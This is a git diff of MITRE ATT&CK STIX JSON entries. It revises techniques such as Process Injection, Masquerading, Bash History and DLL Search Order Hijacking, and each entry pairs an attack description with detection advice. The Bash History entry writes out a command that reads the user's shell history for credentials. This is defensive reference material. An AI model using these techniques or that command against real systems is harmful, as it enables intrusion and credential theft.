-            "description": "An adversary performs C2 communications using multiple layers of encryption, typically (but not exclusively) tunneling a custom encryption scheme within a protocol encryption scheme such as HTTPS or SMTPS.\n\nDetection: If malware uses Standard Cryptographic Protocol, SSL/TLS inspection can be used to detect command and control traffic within some encrypted communication channels. (Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation. (Citation: SEI SSL Inspection Risks) After SSL/TLS inspection, additional cryptographic analysis may be needed to analyze the second layer of encryption.\n\nWith Custom Cryptographic Protocol, if malware uses encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures. (Citation: Fidelis DarkComet)\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Packet capture, Process use of network, Malware reverse engineering, Process monitoring\n\nRequires Network: Yes",
+            "description": "An adversary performs C2 communications using multiple layers of encryption, typically (but not exclusively) tunneling a custom encryption scheme within a protocol encryption scheme such as HTTPS or SMTPS.\n\nDetection: If malware uses Standard Cryptographic Protocol, SSL/TLS inspection can be used to detect command and control traffic within some encrypted communication channels. (Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation. (Citation: SEI SSL Inspection Risks) After SSL/TLS inspection, additional cryptographic analysis may be needed to analyze the second layer of encryption.\n\nWith Custom Cryptographic Protocol, if malware uses encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures. (Citation: Fidelis DarkComet)\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Packet capture, Process use of network, Malware reverse engineering, Process monitoring\n\nRequires Network: Yes",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -55,21 +55,9 @@
             ],
             "x_mitre_network_requirements": true,
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0.json b/enterprise-attack/attack-pattern/attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0.json
index 1535cc7d3c..f248d4da92 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--71be2de5-2147-4c3c-96f9-812e212e617f",
+    "id": "bundle--1c0a25d9-8956-4589-9c21-c3a621f914fc",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:38.511Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Masquerading",
-            "description": "Masquerading occurs when an executable, legitimate or malicious, is placed in a commonly trusted location (such as C:\\Windows\\System32) or named with a common name (such as \"explorer.exe\" or \"svchost.exe\") to bypass tools that trust executables by relying on file name or path. An adversary may even use a renamed copy of a legitimate utility, such as rundll32.exe. (Citation: Endgame Masquerade Ball) Masquerading also may be done to deceive defenders and system administrators into thinking a file is benign by associating the name with something that is thought to be legitimate.\n\nDetection: Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect.\n\nIf file names are mismatched between the binary name on disk and the binary's resource section, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries could provide useful leads, but may not always be indicative of malicious activity. (Citation: Endgame Masquerade Ball)\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: File monitoring, Process monitoring, Binary file metadata\n\nDefense Bypassed: Whitelisting by file name or path\n\nContributors: ENDGAME",
+            "description": "Masquerading occurs when the name or location of an executable, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation.  Several different variations of this technique have been observed.\n\nOne variant is for an executable to be placed in a commonly trusted directory or given the name of a legitimate, trusted program.  Alternatively, the filename given may be a close approximation of legitimate programs.  This is done to bypass tools that trust executables by relying on file name or path, as well as to deceive defenders and system administrators into thinking a file is benign by associating the name with something that is thought to be legitimate.\n\n\n===Windows===\nIn another variation of this technique, an adversary may use a renamed copy of a legitimate utility, such as rundll32.exe. (Citation: Endgame Masquerade Ball) An alternative case occurs when a legitimate utility is moved to a different directory and also renamed to avoid detections based on system utilities executing from non-standard paths. (Citation: F-Secure CozyDuke)\n\nAn example of abuse of trusted locations in Windows would be the <code>C:\\Windows\\System32</code> directory.  Examples of trusted binary names that can be given to malicious binares include \"explorer.exe\" and \"svchost.exe\".\n\n===Linux===\nAnother variation of this technique includes malicious binaries changing the name of their running process to that of a trusted or benign process, after they have been launched as opposed to before.  (Citation: Remaiten)\n\nAn example of abuse of trusted locations in Linux  would be the <code>/bin</code> directory.  Examples of trusted binary names that can be given to malicious binares include \"rsyncd\" and \"dbus-inotifier\".   (Citation: Fysbis Palo Alto Analysis)  (Citation: Fysbis Dr Web Analysis)\n\nDetection: Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect.\n\nIf file names are mismatched between the binary name on disk and the binary's resource section, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries could provide useful leads, but may not always be indicative of malicious activity. (Citation: Endgame Masquerade Ball)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process monitoring, Binary file metadata\n\nDefense Bypassed: Whitelisting by file name or path\n\nContributors: ENDGAME, Bartosz Jerzman",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -27,13 +27,34 @@
                     "source_name": "Endgame Masquerade Ball",
                     "description": "Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball. Retrieved October 31, 2016.",
                     "url": "https://www.endgame.com/blog/how-hunt-masquerade-ball"
+                },
+                {
+                    "source_name": "F-Secure CozyDuke",
+                    "description": "F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.",
+                    "url": "https://www.f-secure.com/documents/996508/1030745/CozyDuke"
+                },
+                {
+                    "source_name": "Remaiten",
+                    "description": "Michal Malik AND Marc-Etienne M.L\u00e9veill\u00e9. (2016, March 30). Meet Remaiten \u2013 a Linux bot on steroids targeting routers and potentially other IoT devices. Retrieved September 7, 2017.",
+                    "url": "https://www.welivesecurity.com/2016/03/30/meet-remaiten-a-linux-bot-on-steroids-targeting-routers-and-potentially-other-iot-devices/"
+                },
+                {
+                    "source_name": "Fysbis Palo Alto Analysis",
+                    "description": "Bryan Lee and Rob Downs. (2016, February 12). A Look Into Fysbis: Sofacy\u2019s Linux Backdoor. Retrieved September 10, 2017.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2016/02/a-look-into-fysbis-sofacys-linux-backdoor/"
+                },
+                {
+                    "source_name": "Fysbis Dr Web Analysis",
+                    "description": "Doctor Web. (2014, November 21). Linux.BackDoor.Fysbis.1. Retrieved December 7, 2017.",
+                    "url": "https://vms.drweb.com/virus/?i=4276269"
                 }
             ],
             "object_marking_refs": [
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_contributors": [
-                "ENDGAME"
+                "ENDGAME",
+                "Bartosz Jerzman"
             ],
             "x_mitre_data_sources": [
                 "File monitoring",
@@ -44,21 +65,9 @@
                 "Whitelisting by file name or path"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d.json b/enterprise-attack/attack-pattern/attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d.json
index 9d968926c8..a8d9d44a00 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--009df041-80e7-4e0f-a34c-1e4e30c664be",
+    "id": "bundle--b9957ae8-b83a-4a7d-bb32-eb6091316804",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:47.843Z",
-            "modified": "2017-12-14T16:55:59.600Z",
-            "name": "DLL Injection",
-            "description": "DLL injection is used to run code in the context of another process by causing the other process to load and execute code. Running code in the context of another process provides adversaries many benefits, such as access to the process's memory and permissions. It also allows adversaries to mask their actions under a legitimate process. A more sophisticated kind of DLL injection, reflective DLL injection, loads code without calling the normal Windows API calls, potentially bypassing DLL load monitoring. Numerous methods of DLL injection exist on Windows, including modifying the Registry, creating remote threads, Windows hooking APIs, and DLL pre-loading. (Citation: CodeProject Inject Code) (Citation: Wikipedia DLL Injection)\n\nDetection: Monitoring API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. API calls such as CreateRemoteThread and those that can be used to modify memory within another process, such as WriteProcessMemory, may be used for this technique.\n\nMonitor processes and command-line arguments for actions that could be done before or after code injection has occurred and correlate the information with related event information. Code injection may also be performed using PowerShell with tools such as PowerSploit, (Citation: Powersploit) so additional PowerShell monitoring may be required to cover known implementations of this behavior.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: API monitoring, Windows Registry, File monitoring, Process monitoring\n\nEffective Permissions: User, Administrator, SYSTEM\n\nDefense Bypassed: Process whitelisting, Anti-virus\n\nPermissions Required: User, Administrator, SYSTEM",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Process Injection",
+            "description": "Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.\n\n===Windows===\n\nThere are multiple approaches to injecting code into a live process. Windows implementations include: (Citation: Engame Process Injection July 2017)\n* '''Dynamic-link library (DLL) injection''' involves writing the path to a malicious DLL inside a process then invoking execution by creating a remote thread.\n* '''Portable executable injection''' involves writing malicious code directly into the process (without a file on disk) then invoking execution with either additional code or by creating a remote thread. The displacement of the injected code introduces the additional requirement for functionality to remap memory references. Variations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue. (Citation: Endgame HuntingNMemory June 2017)\n* '''Thread execution hijacking''' involves injecting malicious code or the path to a DLL into a thread of a process. Similar to Process Hollowing, the thread must first be suspended.\n* '''Asynchronous Procedure Call''' (APC) injection involves attaching malicious code to the APC Queue (Citation: Microsoft APC) of a process's thread. Queued APC functions are executed when the thread enters an alterable state. AtomBombing  (Citation: ENSIL AtomBombing Oct 2016) is a variation that utilizes APCs to invoke malicious code previously written to the global atom table. (Citation: Microsoft Atom Table)\n* '''Thread Local Storage''' (TLS) callback injection involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code's legitimate entry point. (Citation: FireEye TLS Nov 2017)\n\n===Mac and Linux===\n\nImplementations for Linux and OS X/macOS systems include: (Citation: Datawire Code Injection) (Citation: Uninformed Needle)\n*'''LD_PRELOAD, LD_LIBRARY_PATH''' (Linux), '''DYLD_INSERT_LIBRARIES''' (Mac OS X) environment variables, or the dlfcn application programming interface (API) can be used to dynamically load a library (shared object) in a process which can be used to intercept API calls from the running process. (Citation: Phrack halfdead 1997)\n*'''Ptrace system calls''' can be used to attach to a running process and modify it in runtime. (Citation: Uninformed Needle)\n*'''/proc/[pid]/mem''' provides access to the memory of the process and can be used to read/write arbitrary data to it. This technique is very rare due to its complexity. (Citation: Uninformed Needle)\n*'''VDSO hijacking''' performs runtime injection on ELF binaries by manipulating code stubs mapped in from the linux-vdso.so shared object. (Citation: VDSO hijack 2009)\n\nMalware commonly utilizes process injection to access system resources through which Persistence and other environment modifications can be made. More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel.\n\nDetection: Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC, and those that can be used to modify memory within another process, such as WriteProcessMemory, may be used for this technique. (Citation: Engame Process Injection July 2017)\n\nMonitoring for Linux specific calls such as the ptrace system call, the use of LD_PRELOAD environment variable, or dlfcn dynamic linking API calls, should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.  (Citation: ArtOfMemoryForensics)  (Citation: GNU Acct)  (Citation: RHEL auditd)  (Citation: Chokepoint preload rootkits)\n\nMonitor for named pipe creation and connection events (Event IDs 17 and 18) for possible indicators of infected processes with external modules. (Citation: Microsoft Sysmon v6 May 2017)\n\nMonitor processes and command-line arguments for actions that could be done before or after code injection has occurred and correlate the information with related event information. Code injection may also be performed using PowerShell with tools such as PowerSploit, (Citation: Powersploit) so additional PowerShell monitoring may be required to cover known implementations of this behavior.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: API monitoring, Windows Registry, File monitoring, DLL monitoring, Named Pipes, Process Monitoring\n\nEffective Permissions: User, Administrator, SYSTEM, root\n\nDefense Bypassed: Process whitelisting, Anti-virus\n\nPermissions Required: User, Administrator, SYSTEM, root\n\nContributors: Anastasios Pingios",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -27,30 +27,99 @@
                     "url": "https://attack.mitre.org/wiki/Technique/T1055",
                     "external_id": "T1055"
                 },
-                {
-                    "source_name": "CodeProject Inject Code",
-                    "description": "Kuster, R. (2003, August 20). Three Ways to Inject Your Code into Another Process. Retrieved November 12, 2014.",
-                    "url": "http://www.codeproject.com/Articles/4610/Three-Ways-to-Inject-Your-Code-into-Another-Proces"
-                },
-                {
-                    "source_name": "Wikipedia DLL Injection",
-                    "description": "DLL injection. (n.d.).  Retrieved November 12, 2014.",
-                    "url": "http://en.wikipedia.org/wiki/DLL%20injection"
-                },
                 {
                     "source_name": "Powersploit",
                     "description": "PowerSploit. (n.d.).  Retrieved December 4, 2014.",
                     "url": "https://github.com/mattifestation/PowerSploit"
+                },
+                {
+                    "source_name": "Engame Process Injection July 2017",
+                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
+                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
+                },
+                {
+                    "source_name": "Endgame HuntingNMemory June 2017",
+                    "description": "Desimone, J. (2017, June 13). Hunting in Memory. Retrieved December 7, 2017.",
+                    "url": "https://www.endgame.com/blog/technical-blog/hunting-memory"
+                },
+                {
+                    "source_name": "Microsoft APC",
+                    "description": "Microsoft. (n.d.). Asynchronous Procedure Calls. Retrieved December 8, 2017.",
+                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms681951.aspx"
+                },
+                {
+                    "source_name": "ENSIL AtomBombing Oct 2016",
+                    "description": "Liberman, T. (2016, October 27). ATOMBOMBING: BRAND NEW CODE INJECTION FOR WINDOWS. Retrieved December 8, 2017.",
+                    "url": "https://blog.ensilo.com/atombombing-brand-new-code-injection-for-windows"
+                },
+                {
+                    "source_name": "Microsoft Atom Table",
+                    "description": "Microsoft. (n.d.). About Atom Tables. Retrieved December 8, 2017.",
+                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms649053.aspx"
+                },
+                {
+                    "source_name": "FireEye TLS Nov 2017",
+                    "description": "Vaish, A. & Nemes, S. (2017, November 28). Newly Observed Ursnif Variant Employs Malicious TLS Callback Technique to Achieve Process Injection. Retrieved December 18, 2017.",
+                    "url": "https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html"
+                },
+                {
+                    "source_name": "Datawire Code Injection",
+                    "description": "Turner-Trauring, I. (2017, April 18). \u201cThis will only hurt for a moment\u201d: code injection on Linux and macOS with LD_PRELOAD. Retrieved December 20, 2017.",
+                    "url": "https://www.datawire.io/code-injection-on-linux-and-macos/"
+                },
+                {
+                    "source_name": "Uninformed Needle",
+                    "description": "skape. (2003, January 19). Linux x86 run-time process manipulation. Retrieved December 20, 2017.",
+                    "url": "http://hick.org/code/skape/papers/needle.txt"
+                },
+                {
+                    "source_name": "Phrack halfdead 1997",
+                    "description": "halflife. (1997, September 1). Shared Library Redirection Techniques. Retrieved December 20, 2017.",
+                    "url": "http://phrack.org/issues/51/8.html"
+                },
+                {
+                    "source_name": "VDSO hijack 2009",
+                    "description": "O'Neill, R. (2009, May). Modern Day ELF Runtime infection via GOT poisoning. Retrieved December 20, 2017.",
+                    "url": "http://vxer.org/lib/vrn00.html"
+                },
+                {
+                    "source_name": "ArtOfMemoryForensics",
+                    "description": "Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics: Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved December 20, 2017."
+                },
+                {
+                    "source_name": "GNU Acct",
+                    "description": "GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved December 20, 2017.",
+                    "url": "https://www.gnu.org/software/acct/"
+                },
+                {
+                    "source_name": "RHEL auditd",
+                    "description": "Jahoda, M. et al.. (2017, March 14). redhat Security Guide - Chapter 7 - System Auditing. Retrieved December 20, 2017.",
+                    "url": "https://access.redhat.com/documentation/red%20hat%20enterprise%20linux/6/html/security%20guide/chap-system%20auditing"
+                },
+                {
+                    "source_name": "Chokepoint preload rootkits",
+                    "description": "stderr. (2014, February 14). Detecting Userland Preload Rootkits. Retrieved December 20, 2017.",
+                    "url": "http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html"
+                },
+                {
+                    "source_name": "Microsoft Sysmon v6 May 2017",
+                    "description": "Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017.",
+                    "url": "https://docs.microsoft.com/sysinternals/downloads/sysmon"
                 }
             ],
             "object_marking_refs": [
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
+            "x_mitre_contributors": [
+                "Anastasios Pingios"
+            ],
             "x_mitre_data_sources": [
                 "API monitoring",
                 "Windows Registry",
                 "File monitoring",
-                "Process monitoring"
+                "DLL monitoring",
+                "Named Pipes",
+                "Process Monitoring"
             ],
             "x_mitre_defense_bypassed": [
                 "Process whitelisting",
@@ -59,26 +128,19 @@
             "x_mitre_effective_permissions": [
                 "User",
                 "Administrator",
-                "SYSTEM"
+                "SYSTEM",
+                "root"
             ],
             "x_mitre_permissions_required": [
                 "User",
                 "Administrator",
-                "SYSTEM"
+                "SYSTEM",
+                "root"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Linux",
+                "macOS",
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--44dca04b-808d-46ca-b25f-d85236d4b9f8.json b/enterprise-attack/attack-pattern/attack-pattern--44dca04b-808d-46ca-b25f-d85236d4b9f8.json
index 0f9d6a6a46..3614e373ca 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--44dca04b-808d-46ca-b25f-d85236d4b9f8.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--44dca04b-808d-46ca-b25f-d85236d4b9f8.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0b76b54a-df77-43da-bff5-3b8c7b5d3324",
+    "id": "bundle--afcbcedc-4cb5-495a-998a-8eb386d1a3ac",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--44dca04b-808d-46ca-b25f-d85236d4b9f8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Bash History",
-            "description": "Bash keeps track of the commands users type on the command-line with the \"history\" utility. Once a user logs out, the history is flushed to the user\u2019s <code>.bash_history</code> file. For each user, this file resides at the same location: <code>~/.bash_history</code>. Typically, this file keeps track of the user\u2019s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Attackers can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way)\n\nDetection: Monitoring when the user's <code>.bash_history</code> is read can help alert to suspicious activity. While users do typically rely on their history of commands, they often access this history through other utilities like \"history\" instead of commands like <code>cat ~/.bash_history</code>.\n\nPlatforms: Linux, MacOS, OS X\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters\n\nPermissions Required: User",
+            "description": "Bash keeps track of the commands users type on the command-line with the \"history\" utility. Once a user logs out, the history is flushed to the user\u2019s <code>.bash_history</code> file. For each user, this file resides at the same location: <code>~/.bash_history</code>. Typically, this file keeps track of the user\u2019s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Attackers can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way)\n\nDetection: Monitoring when the user's <code>.bash_history</code> is read can help alert to suspicious activity. While users do typically rely on their history of commands, they often access this history through other utilities like \"history\" instead of commands like <code>cat ~/.bash_history</code>.\n\nPlatforms: Linux, macOS\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters\n\nPermissions Required: User",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -42,8 +42,7 @@
             ],
             "x_mitre_platforms": [
                 "Linux",
-                "MacOS",
-                "OS X"
+                "macOS"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--45d84c8b-c1e2-474d-a14d-69b5de0a2bc0.json b/enterprise-attack/attack-pattern/attack-pattern--45d84c8b-c1e2-474d-a14d-69b5de0a2bc0.json
index 41584cf7fa..d9ae7abce0 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--45d84c8b-c1e2-474d-a14d-69b5de0a2bc0.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--45d84c8b-c1e2-474d-a14d-69b5de0a2bc0.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--be21442f-b282-4ae5-8707-34d7d34f453d",
+    "id": "bundle--d622f727-6eae-448a-9940-49655e22a2ae",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--45d84c8b-c1e2-474d-a14d-69b5de0a2bc0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Source",
-            "description": "The <code>source</code> command loads functions into the current shell or executes files in the current context. This built-in command can be run in two different ways <code>source /path/to/filename [arguments]</code> or <code>. /path/to/filename [arguments]</code>. Take note of the space after the \".\". Without a space, a new shell is created that runs the program instead of running the program within the current context. This is often used to make certain features or functions available to a shell or to update a specific shell's environment. \n\nAdversaries can abuse this functionality to execute programs. The file executed with this technique does not need to be marked executable beforehand.\n\nDetection: Monitor for command shell execution of source and subsequent processes that are started as a result of being executed by a source command. Adversaries must also drop a file to disk in order to execute it with source, and these files can also detected by file monitoring.\n\nPlatforms: Linux, MacOS, OS X\n\nData Sources: Process Monitoring, File monitoring, Process command-line parameters\n\nPermissions Required: User\n\nRemote Support: No",
+            "description": "The <code>source</code> command loads functions into the current shell or executes files in the current context. This built-in command can be run in two different ways <code>source /path/to/filename [arguments]</code> or <code>. /path/to/filename [arguments]</code>. Take note of the space after the \".\". Without a space, a new shell is created that runs the program instead of running the program within the current context. This is often used to make certain features or functions available to a shell or to update a specific shell's environment. \n\nAdversaries can abuse this functionality to execute programs. The file executed with this technique does not need to be marked executable beforehand.\n\nDetection: Monitor for command shell execution of source and subsequent processes that are started as a result of being executed by a source command. Adversaries must also drop a file to disk in order to execute it with source, and these files can also detected by file monitoring.\n\nPlatforms: Linux, macOS\n\nData Sources: Process Monitoring, File monitoring, Process command-line parameters\n\nPermissions Required: User\n\nRemote Support: No",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -37,8 +37,7 @@
             ],
             "x_mitre_platforms": [
                 "Linux",
-                "MacOS",
-                "OS X"
+                "macOS"
             ],
             "x_mitre_remote_support": false
         }
diff --git a/enterprise-attack/attack-pattern/attack-pattern--46944654-fcc1-4f63-9dad-628102376586.json b/enterprise-attack/attack-pattern/attack-pattern--46944654-fcc1-4f63-9dad-628102376586.json
index db9e3acbff..81c885a90a 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--46944654-fcc1-4f63-9dad-628102376586.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--46944654-fcc1-4f63-9dad-628102376586.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--8a3f1a21-5730-43eb-8d7e-e8fff29250a7",
+    "id": "bundle--6ca202d1-ba4c-4311-9fa1-9fe65ad58af1",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--46944654-fcc1-4f63-9dad-628102376586",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:40.604Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "DLL Search Order Hijacking",
-            "description": "Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft DLL Search) Adversaries may take advantage of the Windows DLL search order and programs that ambiguously specify DLLs to gain privilege escalation and persistence. \n\nAdversaries may perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program. Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft 2269637) Adversaries may use this behavior to cause the program to load a malicious DLL. \n\nAdversaries may also directly modify the way a program loads DLLs by replacing an existing DLL or modifying a .manifest or .local redirection file, directory, or junction to cause the program to load a different DLL to maintain persistence or privilege escalation. (Citation: Microsoft DLL Redirection) (Citation: Microsoft Manifests) (Citation: Mandiant Search Order)\n\nIf a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program.\n\nPrograms that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.\n\nDetection: Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of .manifest and .local redirection files that do not correlate with software updates are suspicious. Disallow loading of remote DLLs. (Citation: Microsoft DLL Preloading)\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: File monitoring, DLL monitoring, Process command-line 